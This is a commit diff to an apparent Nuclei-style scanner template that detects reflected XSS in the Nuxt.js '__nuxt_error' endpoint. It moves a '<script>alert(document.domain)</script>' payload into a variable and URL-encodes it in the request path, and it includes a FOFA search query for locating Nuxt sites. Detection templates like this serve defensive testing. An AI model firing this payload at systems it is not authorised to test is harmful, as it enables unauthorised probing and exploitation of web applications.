Fix false positives
parent
d05a1cd192
commit
c68fc3215f
|
@ -17,17 +17,20 @@ info:
|
||||||
fofa-query: body="buildAssetsDir" && body="__nuxt"
|
fofa-query: body="buildAssetsDir" && body="__nuxt"
|
||||||
tags: huntr,xss,nuxtjs,error
|
tags: huntr,xss,nuxtjs,error
|
||||||
|
|
||||||
|
variables:
|
||||||
|
payload: "<script>alert(document.domain)</script>"
|
||||||
|
|
||||||
http:
|
http:
|
||||||
- method: GET
|
- method: GET
|
||||||
path:
|
path:
|
||||||
- "{{BaseURL}}/__nuxt_error?stack=%0A<script>alert(document.domain)</script>"
|
- "{{BaseURL}}/__nuxt_error?stack=%0A{{url_encode(payload)}}"
|
||||||
|
|
||||||
matchers-condition: and
|
matchers-condition: and
|
||||||
matchers:
|
matchers:
|
||||||
- type: word
|
- type: word
|
||||||
part: body
|
part: body
|
||||||
words:
|
words:
|
||||||
- "<script>alert(document.domain)</script>"
|
- "{{payload}}"
|
||||||
- "window.__NUXT__"
|
- "window.__NUXT__"
|
||||||
condition: and
|
condition: and
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue